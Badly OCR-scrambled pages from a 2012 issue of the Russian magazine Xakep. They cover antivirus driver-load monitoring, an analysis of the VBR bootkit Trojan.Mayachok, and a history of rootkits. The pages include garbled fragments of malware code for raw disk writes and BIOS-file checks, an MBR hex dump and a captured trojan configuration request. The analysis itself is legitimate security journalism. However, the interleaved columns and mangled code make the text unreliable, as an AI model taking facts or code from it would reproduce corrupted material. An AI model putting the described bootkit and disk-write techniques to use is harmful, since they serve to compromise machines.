loc 5134F ( offset loc 2D8BA ) byte_43D2F, 1 ds: PsSetCreateThreadHotifyRoutine esi, еах esi, еЬх
IHIТ:
00051120 00051127 IHIТ: 0005112D IHIТ: 0005112F IHIТ:
Указатель на
и благонадежных. В-третьих , узнать, не пред
callback-
фvнкцию
Рисунок 8. Настройка функции уведомления в «Антивирусе Касперского» на реагирование на создание потока
078
ХАКЕР
02/157/2012
Бурим антивирус. Еще глубже!
• 1 HIТ:
•
0ОО2А51 D
еах,
roou
[ebp- 20h ] 15598, еах ( offset loc 1F478 ) ds: PsSetLoadIroageHotifyRoutine [ebp-1Ch ], еах
IНIT: 0ОО2А520
dwo~d
• IHIТ: 0ОО2А525 • 1 НI Т: 0ОО2А52А • 1HI Т: 0ОО2А5ЗО
УКа3атеnь на функцию уведомnения о эаrруэке оБРа3а в память
Рисунок
10. PsSetLoadlmageNotifyRoutine в DrWeb контролирует загрузку драйверов
только что созданный процесс. Если его там
ствами , как было во времена старого доброго
Касперского » , которая включила этот меха
нет, значит, ему есть что скрывать . При этом
MS-DOS . ДЛЯ
низм в свои антивирусы с шестой по девятую
многих программ драйвер
это
путь к ядру системы , путь в
п у щенный процесс эа с чет пере х вата функции
к ак любой с олдат м е чтает стать генералом,
ядра
любая более или менее амбициозная малварь
к уже знакомым нам функциям уведомления. Функция PsSetLoadlmageNotifyRoutine
рез ультатов работы этой функции. (Надеюсь,
мечтает проникн у ть в ядро си с темы и поста
регистрирует функцию уведомления, которая
ты знаешь, чем АРI-функции с префиксом
вить ее на колени , а с амый прямой и простой
вызывается в момент загрузки образа или
с пособ осуществ и ть эт о
отобра ж ения образа в память. Операцион -
и фильтрации
отличаются от функций с префиксом
Nt?
Zw
Если
-
же
версиюl. Помимо этого, мо ж но прибегнуть
в большинстве случаев малварь скрывает за
ZwQuerySystemlnformation
ringO . Так
-
загрузка своего
нет, срочно читай Ру с синовича . 1 Таким обра
специально обученн о го вредоно с ного драй
ная си с тема вызывает зарегистрированную
зом, обнаружив, что эта функция пере х вачена
вера . В с вою очередь , любой более или менее
саllЬасk-функцию после отображения в память
кем -то неизвестным , срочно начинай бить
амбициозный авер просто обязан следить
образа , исполняемого в пользовательском
тревогу .
за всеми драйверами в системе для борьбы
про с транстве или в пространстве ядра (как
с этим явлением .
раз то, что нам ну ж но, ведь драйвера как раз
В о обще, практически все более-менее се рье з ные вредоносные программы любят
Первый с пособ, к оторый напрашивается
п е ре х ватывать раэличные функции, но это мы
сам собой ,
о бсудим чуть позже.
драйверов путем пере х вата АРI-функции
ЗАГРУЗКА ДРАЙВЕРА
это контролировать загрузку
-
NtLoadDriver.
Он прост и , в общем-то , эфф е кти
вен , им не брезг у ют пользоваться очень мно
Думаю, ты знаешь, что драйвер служит
гие производители антивирусны х программ
не только для управления всякими устрой-
(к примеру, Comod o, F-Secure, « Лаборатория
и грузятся в ядроl , до начала исполнения об раза (рисунок 101. KpOMeTOГ ~ некоторые антивирусы учитывают, что для загрузки драйвера его
нужно прописать его в ветке реестра HKLM\ System\CurrentControISet\Services (рисун ок 111. Достаточно следить за этой веткой , чтобы в случае появления там подозрительного раз
дела с параметром Туре , значение к оторого
равно 1, 2 или 8 (зто SERVICE_KERNEL_DRIVER, SERVICEJILE_SYSTEM_DRIVER или SERVICE RECOGNIZER_DRIVER cooTBeTcTBeHHoI, с воевременно поднять тревогу (рисунок 111. Надо сказать, что не все антивирусы опо
Enum
sntmt APfМlno!ool пtn.tта .1l!.Rm!It. Ш!1Ita. (Jq)t.mIII .. (по(060'" C:\ WnlDOWS \SYSТEt.02\DRlVERS\ДOffiCJМ120.$Y'S. Послt
яrружи Atпи8МР'У< "'Cnfpoc.oro не 'I.&oxtt lCонтроJtИРО8lТЬ "aHaHOnb nporpat.la.ltll. ПОТtн ЦМlJlWiО onккu n porp'M'"
вещают пользователя о загрузке драйвера.
Не к оторые аверы однозначно и бесповоротно считают любой подозрительный загружаемый
драйвер вредоносным и без спросу удаляют и сам драйвер, и программ у, которая пыталась
09.9}9tЦMItНМ ymnotp .ptiКQI
его загр у зить, после чег о бодро рапорт у ют, что
Процесс (PID: 8Q.I4):
малварь у ничто ж ена .
D:\д,иаРН6yrиtlti\КfЯt'ЕL OEТ._\КfRt4EL ОЕТЕCПVE . fXf
+
' ЧТО ДАЛЬШЕ? Разрешить ДtйпеНt 6),М1 P'SPtWfHO
Наш главный редактор уже многозначительно постукивает р е зиновой ду бинкой по с т олу,
+ кара"","
намекая на то , что выделенное под статью
+
рассказать про распознавание кейлоггеров ,
ПоutснlТь фа"" НI к.1РIНТИН
завершит ь Пр еРNТЬ .... ПОJl НfНиt
+ Доба 8llТЬ К lICКI1 юченмам До6а1КТ ... 8 (ПИ( О!( II(МIOЧfНIIЙ
Рисунок 11 . Реакция «Антивируса Касперского» на загрузку драйвера от Кегпе' Может, он и вправду вредоносный?..
Detective 1.2.
место заканчивается. А ведь мне так х отелось антирут к ит-те Х НОЛ 0 ГИИ, « песочницу ~ подо зрительную сетевую активность и целост
но с ть системны х файлов, да и аналитический
компонен'т проактивной защиты остался без внимания ... Н у что же
-
жди продолж е ния ,
следующий номер не за горами.:Х:
ХАКЕР
02 {157{ 2012
079
MALWARE
Алекса ндр Э ккерт
[stannic.man0gma il.coml
кит НОВЫЙ ТИП РУТКИТОВ, ЗАРАЖАЮЩИХ 800Т-СЕКТОРА у производителей
антивирусного обеспечен и я появилась новая головная
боль
-
в руки вирусописа теле й
попала очень необычная
-
ЯВЛЕНИЕ VВR-РУТКИТА
Хоро ши е пр а ктики
операционной системы, использующая особенност и загрузки томов жесткого диска.
Or.Web
новоявлен-
сист е м ного
ный руткит был назван Тгоjап.Мауасhоk. Кроме посредственного
к о ди нга оп и са н ы в
отчета, никакой информации о нем пока нет. Мы восполним зтот
ч е т вер то м из дан ии
за м ечательно й к ниги «Windows
System Programming», которое вы шл о в
-
2010 г о ду.
Е сли п оста р атьс я, ее м о жн о н а й т и в Сети.
пробел и как следует разберем эту интересную малварь. Основной особенностью рутки т а является необычный механизм заражения системы
можешь быть уверен, что ранее такого оригинального
-
способа в дикой природе не встречалось.
Каждый раздел диска 'то есть каждая партиция, иногда на зываемая «логический том
005»], имеет собственную загрузочную IVo[ume Воо! Record, VBR] или по-другому - сектор, кому как нравится . Он отличается от Mas!er Воо! Record IMBR], которая
запись
Д л я т ого чт обы п р ио брес т и о ч е нь х о р ош и е н авы ки
контролирует процесс загрузки всего диска, однако суть их схожа.
Таким образом,
VBR
р або ты с ядром
ского тома. Каждый
Windows, сов етую
Рагате!ег
пос е т ит ь
www.
osronline.com. Это од ин и з л у ч ши х
новая технология заражен и я
С легкой руки антивирусных товарищей из
са йт ов в Сети о программирован и и в
отвечает за загрузку определенного логиче
VBR состоит из блока параметров диска lDisk Block], который содержит специфическую информацию
о томе, такую как размер, число секторов, имя тома и Т.Д . , а также
сам ко д за г рузки тома IVo[ume Воо! Code], ко т орый используется дл я старта опера ц ио н ной системы. Этот код вызывается кодом
kernel mode в ядре,
загрузки TOMalmas!er Ьоо!] и исполняется каждый раз, когда за
к тому ж е хорошо
гружается операционная система. Более подробно о различиях
освещающи й К ОДИНГ под 61t-бит н ые с и с тем ы .
Ниже мы попробуем в не й
разобраться .
и особенностях
MBR
и
VBR в различны х операционных система х - http:Uthestarman .narod .ru/asm/mb r/index .
можно прочитать здесь
html . VВR-руткит заражает
код загрузки тома , подменяя список
драйверов , грузящихся операционной системой и та к им образом классическая проверка только загрузочного сектора не может
обнаружить вредоносный объект, так как он располагается дальше
-
внутри
VBR . VВR-руткит
перехватывает прерывание
INT 13h для
ы мо г об р ати т ь внимание, что за п оследние один - два года
просмотра содержимого секторов, считываемых с диска. Затем
с л ожнос т ь комп ь ю т ерных ви р усов су щ ественно вырос л а.
он загружает с диска свой драйвер и распаковывает на прежнее
Соз д ае т ся в п ечатле ни е, ч т о н а п о п ри щ е вирусмейке р
место оригинал ьн ый код
VBR.
Управление возвращается систем
с т ва и руткитост р ое н ия вч е р а шн их ш коль н иков потеснили очень
ному загрузчику. После этого руткит патчи т
си л ь н ые ко д е р ы, ко т о ры е, д а л и бы фору даже самим разработ
ехе, wiпlоаd.ехе и т. д., В зависимости от используемого операци о н
n!ldr, boo!mgr, osloader.
чикам вин д ы. В оз н икает в опрос, почему б ы им, с их знаниями, не
ной системой загрузчика, так как под удар попадает вся линейка
работат ь на хороших п арней? О тв ет очеви д ен . Н и одна антивирус
ОС
ная ком п ания не буде т платить такую зарплату, которая устроит
что он использует не только обычные пере х ваты , но и аппаратные
разрабо т чика прод в инутого руткита, ве д ь помимо огромного бабла
отладочные регистры IdгО-dг7] и выполняет трассировк у кода . Это
Windows. Определенная
новизна руткита также состоит в том,
за разработку ру т кита он на в ерняка получает еще и процент от
необходимо для того, чтобы придать универсальность руткит у и
партнерок п о по д ме н е вы д а ч и или от тех, кто принуждает поль
обеспечить его обходом защиты целастности загрузочны х модулей.
зовате л ей от п ра вл я т ь пла т н ы е 5М5-сообщения . Так что, в общем,
Непосредственно установка драйвера и перезапись вызывается
можно не уд и в ля т ься п оя в лению таких сложных и интересных
во время выполнения
т ех н ологий, как з а ражение
проинициализирована ' О Т и отключены прерывания и
080
VBR.
n!!Ki5ys!em5!ar!up,
когда в системе еще не
Pa!chGuard .
ХАКЕР
02/ 157/2012
VВR-руткит
Далее автор вредоносной программы прибег к изящному и не стандартному решению: руткит патчит с писки из структуры
LOADER_PARAMETER_BLOCK,
в частности в список
LoadOrderList
он добавляется как копия первого модуля в списке [а это ядро ОС!, а в BootDriverList как эагрузочный драйвер, якобы прописан ный в ветке реестра \Rеgistгу\Масhiпе\Sуstеm\СuггепtСопtгоISеt\ Services\null. Сам механиэм перезаписи сектора не использует
[-Незараженная система
никаких новых методов. Крис Касперски, например, неоднократно
писал в нашем журнале о способах гаw-чтения и эаписи информа ции на жесткий диск . Обычно для этого вызывается АРI-функция
nbtdll!DeviceloControl
с кодом
10CTL_SCSI_PASS_THROUGH_DIRECT. SCSI_PASS_THROUGH_DIRECT и SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER, после чего уже по сылается SRB [SCSI Request Block! . Руткит делает это с ледующим Предварительно заполняются блоки
(истема, зараженная VВR-руткитом
образом:
незачем. Как именно портит жизнь троян, зависит уже от самой
.н е F],iJE.S .. &.s.с;SI_IQ_WIЦЛ_SЕС1:Q.R) ........ _.......................................... _....
прогружаемой библиотеки. Так, антивирусные компании часто
с
утверждают в тырнетах, что
.............................................
..... Dir.е.!=tiо.п .." ...s(s;с:щсr.LQАIА_Q!Пj ...... _ ........._.............................. ._.... QpCQJ;J.e..." ...S(SI.QI'_~RJT~.;. ... ..__ .РR(Q~еlQ ..::..sСSIQр'_WR)Л1Q; ......... . .......................... .
1... el~.e
.........................
с
.. _ Dir:е~1;iол ...':'_..sсs;С);QСН_DАТА_1Nj .. .... CJPC.Qd.e. ." ..5CSIOP_R.EAD ;......... . . . . .......................... _ .... Qр.Со.Qе1б . ".. sСsIQР_RЕАQцij...... .................. _.. _ }....
............. .................. ............. ...............
.
.........................................
Mayachok
представляет серьезную
опасность. Он крадет средства со счетов сотовых абонентов, предлагая пользователям ответить на входящее SМS - сообщение . Зафиксированы случаи, когда троян подмен ял
youtube .com, vkontakte.ru, odnoklassniki .ru , rostelecom.ru , support.akado.ru, my.mai l.ru и блокиро~ал доступ в интер н ет. При попытке открыть в браузере какой-либо сайт Trojan.Mayachok .1 перенаправлял пользователя на URL страницы, предлагающей «активировать» или « подтвердить » аккаунт. Для этого пользователю нужно было указать свой номер телефона и ответить на SМS-сообщение . Один из подтвержденных методов распространения этой програм-
...... if ..(SR:t .= .. СРSСSI_I'АS.S_IНRРЧ!iJ:U1ЩЕ;.cI) m.<l1J&c.Ct!b.e.nJl... _.......
мы
с
программу для просмотра посетителей, заходивших на страницу
........
SRt.b..." ..{I'SC.S_I_I'l\S.S_Т!:!.RР.LlGI:I_D.I.R.ЕСJ_WПН_6.Uf..Е.ЕЮ.Sрt j ........... ...... h[)ri.\!e =...C.reatef.j.J.e (DrJ уе, .. ' '." ); ... _ ... ...... if.. Cb.Rr~ye.. ..!.= . INv.IЧ,.ДU:iАNQ.L.Е_V!lLLН;1. .. .............................. _....... . ..... {
-
рассылка в социальной сети В Контакте, рекламирующая
пользователя. Это означает, что
Trojan .Mayachok
прогружает в про
цессы браузеров свою библиотеку, которая подменяет стартовые страницы указанных сайтов, которые просят доверчивых п ользо вателей отправить SМS-сообщение для получения доступа к саЙту .
.
.S.R:t.c.>L,eDg1;b... ,,_.~:i,~.e.QJ (S.CSI_P.8.SS_IJ:J.RQI..ll.iI:i_D.IR.!;CJ)j .......... .Sр.:t:. >S.е.nsеIIJJQLелg.~Ь... " .Я.I~!3_S.ЕJJS.Е_L,.ЕNЯТI:i.;' __ ................... .... S.Pt с >Da.1;aln ..".. Dir.e~.t;j,Qn.j.. _... _ ... _....._........... _............... _ ....._... ...Sp:t С. >Qa:!: аJr:.<Iл.~.fе r L.!шgt.Ь ..." .. 'ьел g1;bj .......... _................................. . SP.t c.>Н!lщОц:tv.!!J.це.. _,:,....4~~ ;.... _............................ _........................... ..5.Rt - >.Q!!.:taBuJf.er:. =.. E!.uffeci............................ _....... _... __ .... _.... _ .Spt : >SelJ.selnfo.Qf.f ~.e.t... = .СЩ.QNG )... _.. .................. _........._...... . .__ .... С(РСJ:lдR)&.Sр.:tЬ с2.Sеn s е.JлfО!3uf.fеr. ..:... {РСI:iАRJsр1;Ь.).j .... ....;i,J.. .(LQ6'!'Л( .LQWQRD{l.iе:l;Vе.г.?Jоп .>.. 5 } ..... _.. _ ..................... ........sP.~ =.~(dPJ6 ..0p.eCiJ.t.iQnJ:.Qde ..7' .. .Qp.CP.de.16; ................... _........ ...eJ?e _..............._ ......................................................................._..... _.. _.. ......... _...Sр:l;.:.~С q.QJ.J;.•.CJRе.г.!!.цОlJсQ.Qе..." ...QрСQg.е.;. .................................. ..5pt: >.СQРlб..J9J:.сеUл:j..:tАСJ:.е~.s. = 1R.UJ:j...................... _.._ .. _._........ ... LJ. ..IуI ...;!.<IJ1()!!Ijв!9тс.~._.9.!1 (ж~... ?рt:..>.с dы1• ...................... ... sp.:t.: >(QЬJб .COIJ1;ro],..." ex;1~;. .... . .............._.................................. _.... _. .J !. J!Щ~J]аеr1..s.R!!. :Ь1Q~!s. I),J1Ч~У..... _......... _............. __ ................... .. _S1;!!1;чs....':'.. D.еvJ.с.е I Q(ОО:l;ГQ1(!lQr:iу.е., .............................................. . ....... IрСл_SСSсРАS.S_ТНRРч!il:сDIRЕ.ст., ...sР.1;, . рL,е.л, ..... _.......... ...._ .. Sp~, .. b.L,el),. &bKe.!!.Q•.. NЩ.L); ._................ _ .............. __ ... .
(». ).
Вся закавыка в том, что сам VВR-руткит служит лишь средством для доставки зловредного кода и сам по себе ничего деструктив
н ого не несет [с точки зрения воздействия на ядро и установки драйвера в систему! .
И НА СТАРУХУ НАЙДЕТСЯ САМ ЗНАЕШЬ ЧЕГО ... Самое удивительное в новомодном рутките
-
это отсутствие хоть
какой-нибудь защиты от проактивок и антивирусны х программ . И это крайне необычно, поскольку автор руткита, со своим опытом и очень оригинальным подходом к делу, мог бы запросто прикрутить
для защиты нечто выдающееся. Например , взять кой перехвата обработчиков
atapi .sys,
TDL с
его техни
которая используется для
сокрытия файлов и до сих пор ставит в тупик разработчиков анти вирусных решений. Реализуй автор VВR-руткита нечто подобное,
троян бы превратился в очень мощное оружие, бороться с которым было бы очень непросто. Однако, как ни странно, ничего похожего в функционале VВR-руткита нет. Может быть, автор решил сделать защиту в более поздних « релизах » или В версиях для более узких
кругов? К тому же выявить заражение системы очень легко [см .
скрины!. Да и вообще , зараженная VBR, присутствие « левого »
... 1 ._.. fre.e .(Spt);._... _ ..........
драйвера и
}........._..................._.........
загрузки процессов ка
-
dll в системе, регистрация собственного нотификатора PsCreateProcessNotifyRoutine и патч заргузчи
все это палится в системе на ура.
МУХИ И КОТЛЕТЫ в зараженную систему устанавливается полноценный драйвер,
ЗАКЛЮЧЕНИЕ
однако он всего лишь грузит дополнительную библиотеку или
Выходит, не такой уж сильный программист писал этот руткит. Но
во в се процессы подряд , или в некий заранее выделенный [тот
зато в креативности ему не откажешь. Возможно, в будущем его
экэемпляр, который попал мне в руки, грузил
замучают клиенты, и он разработает более серьезные и сложные
dll
во все стартую
щие процессы!. Это осуществляется с помощью обычного способа, который основан на регистрации собственного нотификатора
PsCrea teProcessNotifyRoutine
и последующем задействован ии
версии VВR-руткита, которые будут выделяться не только уникаль ным способом заражения системы . Интересно будет посмотреть,
что у него получится, - разработчики ТDL!ТDSS не стоят на месте,
механизма АРС. Этот способ, используется и семейством руткита
и, может быть, этот руткит тоже получит интересное техническое
TDL!TDSS, в нем нет ничего нового, и останавливаться на нем
развитие . ::t:
ХАКЕР
02/157/2012
081
•
MALWARE
deeonis Ideeonisragmail.coml
китов
.. ...
ОТ НАЧАлА НАЧАЛ ДО СЕГОДНЯШНЕГО ДНЯ Термин «руткит» сам по себе не означает ничего плохого . Это всего лишь утилита
или набор утилит для сокрытия какого-либо программног6 кода и следов его работы . Однако, так как скрываемый код обычно является вредоносным, в народе этот термин
прочно закрепился за зловредами , прячущими себя в системе . Первоначально
появил и сь в UNIХ-системах -
rootkit'bI
они помогали замаскировать присутствие взломщика в
системе. Но известность они приобрели с выходом операционных систем от Мicrоsоft . А началось всё еще во времена
MS - DOS
и стеле-вирусов ... ,
История руткитов
стелс-вирусов под
1986
Они перехваты
MS-OOS.
вали разнообразные прерывания и ОО,,5функции. Например,олигоморфик-стелс-вирус
В 1~86 году братья Амджат и Базит Алви IAmdjat и Basit Faroog Alvil из Пакистана разработали вирус Brain. Зловред, в теле
Kerplunk
обрабатывал целых
23
функции:
обращения к файлам, поиска, выделения и освобождения системной памяти.
которого содержались имена, адреса и номера
телефонов авторов, был разработан для того, чтобы наказать пиратов, ворующих софт у их компании. При попытке чтения заражённого
1993
,
оригинал, то есть фактически являлся первым
В 1993 год1"8'ышла новая ОС от Microsoft - Windows NT 3.1, которая задала новые
стелс-вирусом в истории.
стандарты безопасности . Под эту операцион
сектора
Brain
Brain
«подставлял» его незаражённый
не только получил звание родона
ную систему некоторое время не появлялось
чаль"'ика стелс-зловредов, но и стал первым
никаких серьезных зловредов, не говоря уже
зверьком, спровоцировавшим настоящую
о стелс-вирусах. Продолжалось развитие вре
эпидемию,
только в США им было инфици
доносного ПО для
18 тысяч
еще широко распространен.
-
ровано около
компьютеров.
MS-OOS,
КОТОРрlЙ тогда был
1995
990 В первые годы последнего десятилетия ХХ
В
века проблема вирусов начала приобретать
Джефри Рихтер IJeffrey Richterl в своей ле
глобальный характер. В
гендарной книге
году на свет поя
1995
году гуру Wiпdоws-программирования
который, помимо всего ~рочего, использо
Programming Applications for Microsoft Windows описал технологии перехва та системных Bb~BOB в ring3. Впоследствии
вал для своей ~щиты стелс-приемчики.
во многих вредоносах использовался код из
1990
вился первый полиморфный вирус
Chameleon
Chameleon,
-
Автор
BluePil1 Жанна Рутковекая. Красивая
и умная
одновременно
примеров, приведенных в этой книге.
успешно обходил антивирусные
программы тех лет и долгое время был недо
При вызове некоторых из них вирус модифи
сягаем для них .
цировал системные данные таким образом,
Во второй половине 1990-го «на волю»
вырвались
Frodo
и
Whale.
Оба зловреда ис
1997
чтобы файл не выглядел инфицированным .
пользовали продвинутые стелс-технологии, а
Первый wiп32-вирус, использующий стелс
был знаком с шифрованием и при менял
приемы, появился лишь в 1997-м И получил
Whale
антиотладочные трюки.
992
названиеWiп32.СаЬапаs. Зловерд инфициро
1999
вал РЕ-файлы, предварительно проверяя их
В 1999 году Грег Хогланд IGreg Hoglundl создал
размер. Если он был кратным
утилиту
101
байту, про
NT Rootkit,
в которой реализовал
грамма считалась зараженной. Чтобы скрыть
технику обхода системных механизмов защиты
следы своей активности,
Windows.
Cabanas
перехва
Результаты его работы были опу
ExeHeader появи-
тывал несколько АРI-функций, в том числе
бликованы в электронном журнале
Зловред перехватывал
все стелс-вирусы, которые разрабатывались
13h-прерывание и заражал файлы при чтении/
FindFirstFileA, FindFirstFileW, FindNextFileA и FindNextFileW. Если файл, к которому шло
записи сектора, если в нем оказывался
обращение, был заражен, вирус реализовывал
зывать руткитами.
заголовок
свой полустелс-алгоритм и показывал, что
Семейство вирусов лось в
1992 году.
MZ. Самым опасным из них стал ExeHeader.396, который работал на уровне
этот файл имеет меньшую длину.
21h-прерывания и заRажал ехе-файлы при их
В следующие году появилось множество
заliyске. Вдобавок к э~му он периодически
зловредов, использующих стелс-технологии
пытался испортить жесткий диск. Другие виру
'разной степеНjl сложности. Например,
сы семейства ниями 16~
ExeHeader 1Ch, 2Fh.
работали с прерыва
~послеДуlOJ.Цие годы появилось множество
Win9x. Zerg ра.ал только под управлением Windows 95/98 и перехватывал девять функций откры
тия/закрытия, чтения/записи и поиска файлов.
а
PHRACK,
после этого, с легкой руки Хогланда стали на
В это же время вышла книга П. Дабак с со авторами «Недокументированные возможно
сти Windows NT» 'Р. Oabak et аl "Undocumented Windows NТ"I, которая описывала методы перехвата системных вызовов в ringO. БОIlее подробно эта тема освещается в книге Свена
Шрайбера «Недокуме.нтированные возможно сти
Windows 2000»,
изданной в
2001
году.
Protocol
'nfо
нттр
GET 7 Banner3.php?q=5011 .501 1 .2000.0.0. 4fac4ac372 GET l Banner2.php?q=5011.5011.2000.0.0.4fac4ac372
нттр
• 200 ••
НТТР!1.0
нттр нттр
нттр нттр
ОК (application, octet-strean) GET 'Banner. P~lR? aff _ i d=10б82 нттр / 1.1 НТТР /1.1 404 Not FOL,nd (text / htl'l) GET 'irdex.php?aff_id=24080 нттр 1.1 нттр 1.1 200 ок · (text html)_ · ______~__~____~
Blaek Internet Trojan запрашивает конфигура цию www.wеаtИегtаlkz.еоm
.. ХАКЕР
02/157/ 2012
083
;
MALWARE
КОММЕРЧЕСКИЕ АНТИВИРУСЫ Русский программист создал проект
he4hook.
Программа не содержала вредоносного кода, но умела скрывать файлы на жестком диске .
Она работала на уровне ядра , но сам автор не считал свое детище руткитом .
2002
БЫЛИ МЕНЕЕ ЭФФЕКТИВНЫ, ЧЕМ СПЕЦИАЛИЗИРОВАННЫЕ БЕСПЛАТНЫЕ
2002 в
ПРИ ОБНАРУЖЕНИИ РУТКИТОВ
УТИЛИТЫ
году появилась 1'тилита
..
Hacker
Dеfепdег [она же НасDеН. Программа, не
реализовывала принципиально новую техно
являвшаяся зло вредом, тем не менее предо
логию, основанную на изменении C~MHЫX
версии таких про грамм были узконаправ
ставляла гораздо больше возможностей, чем
структур, а не путей к ним, как)То делали
ленными, например умели выявлять только
he4hook.
НасDе! умела скрывать не только
коммерческие антируткит-утилиты. Первые
скрытые файлы, но со временем маленькие
предыдущие программы такого типа.
В это время множество вредоносных
утилиты превратились'"fполноценное ПО ~ля
Утилита имела гибкие настройки и работала
программ начали испольэовать код или
обяаружения гооtkit-вирусов. Такие програм
преимущественно в
готовые утилиты таких руткитов , как НасDе!
мы обладают мощным функционалом и гиб
и
кими настройками. К наиболее полезным из
файлы, но и ключи реестра и процессы .
•
user-mode.
FU.
Вирусы либо напрямую обращались к
исполняемым файлам маСКИРl.ющего софта,
2003
них можно отнести
что было самым распространенным решени
Инструмент Vапquish вышел в
2003
году.
BootRoot,
и НасDе! в том или ином виде
предшественников, выполнял некоторые
Очень редко можно было встретить
вредоносные действия, а именно логировал
написанные на заказ. Качество этих уни
еще во времена
пароли. Работал
кальных программ было на высоте. -
Windows
Haxdoor.
того времени.
rootkit 'bI ,
Это был
руткит-технологии для своей маскировки. ПО работало в режиме ядра . Позже вышла его модификация д-311
80 % руткитов
породившая концептуально новый
класс руткитов
встречались в
В этом же году появился
2004
в 2004 году появилась утилита F ~
назначенная для сокрыти,," процессов. Она
-
загрузочные руткиты или
буткиты. Идея вовсе не нова, так как вирусы,
записывающие себя в МВR,.существовали MS-DOS.
Правда, в мире
такие шалости были гораздо слож
нее в реализации и опаснее .
2005 в
Death.
Uпhооkег.
общества была разработана технология еЕуе
• Haxdoor.
и ключи реестра , но, в отличие от своих
у ж е полноценный бэкдо~, использовавший
Rootkit
ем, либо модифицировали код опенсорных
Haxdoor, FU
в гiпg3 .
и
зловредов-руткитов, основанных на
Он позволял скрывать файлы, директории
Vanquish
GMER
Параллельна в недрах хакерского со
2005
году рут к иты распространились на
2006
столько широко, что привлекли внимание
в
СМИ и крупных компаний . Так, например, на
пользоваться в е-mаil-червях~ троянцах,
конференции
таких как
RSA Security с~тостроитель Microsoft подняла вопрос об
2006
году руткит-технологии начали ис
Bagle
или Gоlduп. Один из круп
ная корпорация
нейших ротнетов того'времени -
угрозах со стороны руткитов.
активно использовал гооtkit-приемы . К концу
В это же время начали появляться не-
Rustock-
своей жизни спамерская сеть насчитывала около двух миллионов компьютеров и могла
отправлять до
.
Stl"ingFound = О; FileHandle = Cl'"eateFileA ( "c:\ \bios, bin" , Ох80000000и, О, О, 3и, hFile = FileHandle ; if ( FileHandle ( HANDLE )OxFFFFFFFF && ( FileSize = CetFileSize ( FileHandle , О) , FileBuffel" = opel'"atol'" new( FileSize ) , lI\ell\set ( FileBuffet' , О, FileSize ) , ReadFile ( hFile , FileBuffel'" , FileSize , &NUIl1Ьеt'ПfВуtеsRеаd ,
Ох80и,
,=
Index = О; if ( FileSize
{
11 11 11 11 11 11
О
* ) FileBuffel'" *(СВУТЕ * ) FileBuffel'" ~VТE * ) FileBuffel'" *rCBYTE * ) FileBuffet' *« ВУТЕ * ) FileBuffel" *( (:ВУТЕ * ) FileBuffet' *(СВУТЕ * ) FileBuffel'" *(СВУТЕ
}
StringFound = 1; Часть кода Mebromi
пании в массовом порядке стали внедрять в
свои продукты модули по борьбе со. всемо гущими зловредами . В целом коммерческие антивирусы при обнаружении руткитов были О»
)
менее эффективны, чем специаJ1изирован
ные бесплатные утилиты, которыми, однако, лами.
)
++ Index ; if ( Index >= FileSize ) goto _end; }
тысяч сообщений в час.
могли использоваться только проФесси ~ а
>
{
while (
О);
25
Между тем крупные антивирусные ком
+ + + + + + +
lndex ) Index + lndex + Index + Index + lndex + lndex +
,=
'h' 1) != 'о' 2) != 'о' 3) != 'k' 5) != '1'"' 6) != 'о' 7) != '11\'
Но и вирмейкеры не стояли на месте. Появились концепции руткитов, основанные на аппаратной виртуализации. В 2006-м ИХ было целых три:
SubVirt, Vitrio
и
BluePill.
Последняя была публично продемонстри рована на конференции
третьего августа
2006
реализации для ядра
Black
На! Вгiеfiпgs
года в виде образца
Windows Vista .
Этот
руткит р~зработала Йоанна Рутковская, польский специалист по компьютерной ' безопасности. Йоанна утвер~ала, ЧТО, ее творение является « на 100 % не обнару жИ'ваемым » , 1l0СКОЛЬКУ гипервизор может
обма~уть любую программу детектирова ния . Впоследствии она же создала про-
ХАКЕР
02/157/ 2012
История руткитов
GЗ view mbr.bln - far
01100000000: 0000000010: 0000000020: 0000000030: 0000000040: 0000000050: 0000000060: 0000000070: 0000000080: 000011И0090: 00000000А0: 00И00000В0: 0000000ЙС0:
. ' .. '-1
33
7С
ВР
Е5
С0 8Е D0 ВС 00 1В 06 50 57 В9 38 6Е 00 7С 09 75 83 С6 10 49 74 19 Р0 АС ЗС 00 74 РС 4Е 10 Е8 46 00 73 80 7Е 04 0С 74 05 46 08 06 83 56 0А ВС 81 3Е РЕ 7D 55 В7 07 ЕВ А9 8В РС 00 В4 08 CD 13 72 43 Р7 Е3 8В D1 86 0А 77 23 72 0S 39 .., ~~; ,,: '>1 ;j "(" ВА 80 00 56 00 CD 13 ЕВ Е4 13 72 36 81 РВ 55 6А 00 6А 00 6А 00 01 6А 10 В4 42 8В 32 Е4 8А 56 00 CD 6С 69 64 20 70 61 62 6С 65 00 45 72 67 20 6Р 70 65 72
РВ
50 07 50 Р3 С5
01 13 83 38 2С ВВ 07 2А А0
00
РЕ Вб Н8
АА 1Е
74 57
~,
грамму
А4 СВ 10 Е2 Р6 А0 В4 0Е
1Р
РС ВЕ 1В 7С ВЕ 07 В1 04 Р4 CD 18 8В Р5 В5 07 В4 07 8В CD 10 ЕВ Р2 88 7Е 04 0В 74 0В
BD
74 00 46 10 80 07 75 D2 80 46 02 21 00 73 05 А0 В6 0В 80 7Е 10 00 74 8В Р5 СВ ВР 05 00 С1 24 3Р 98 8А DE 06 D2 ЕЕ 42 Р7 Е2 7З 1С B~ 01 02 ВВ 73 51 4f' 74 4Е 32 00 60 ВВ АА 55 В4 30 Р6 С1 01 74 2В 90 90 6А 00 68 00 13 б1 б1 73 0Е 4Р D6 61 Р9 С3 49 6Е 69 74 69 6Р 6Е 20 72 20 6С 6Р 61 64 69 6Е 67 20 73 79 6Е 67 20 6Р 70 65 6 7
23 8А D6 В1 46 08 CD 13 00000000D0: 8А S6 00000000Е0: , 00й00000F0 : АА 7S 0000000100: 6А 02 0000000110: Р4 CD 0000000120: 13 ЕВ 0000000130: 72 74 0000000140: 72 6Р 61 74 00001100150: .0000000160: 65 6D 00 4D 69 73 73 69 :: 5 , 2 :;. '1 4 ..' 3 Загрузочный код
•
''''-~!\.~~
06 83 07 ЕВ С8 8А 8А
А0
56 РС
39 S6 00 7С Е4 8А
41 CD 61 60 7С
74 76 74 69 7J 72 8 ,-
6А 0В
61 61 6Е
?4 61
3AZD'4 :uP.P"ii_~ :
(,~~РИ1"Q6~Е~-±. : Он!!fП"-ао 1 Но
8n
fA+ 1t.1.8,. to J.t-'-<
d,< til»- 'nI..-~~л H"-еР ~,.. .F"-_~.~t~ _~.~t~ ~-нОУМf P~fU8 е!
s~ Ч1.~ ~>JU~t~_~ tE .• ~c<ii.~"<oE(,~ SU
'
СI !!l'nSA$?~S_Si.i C~a<N+O±~iB~a9U
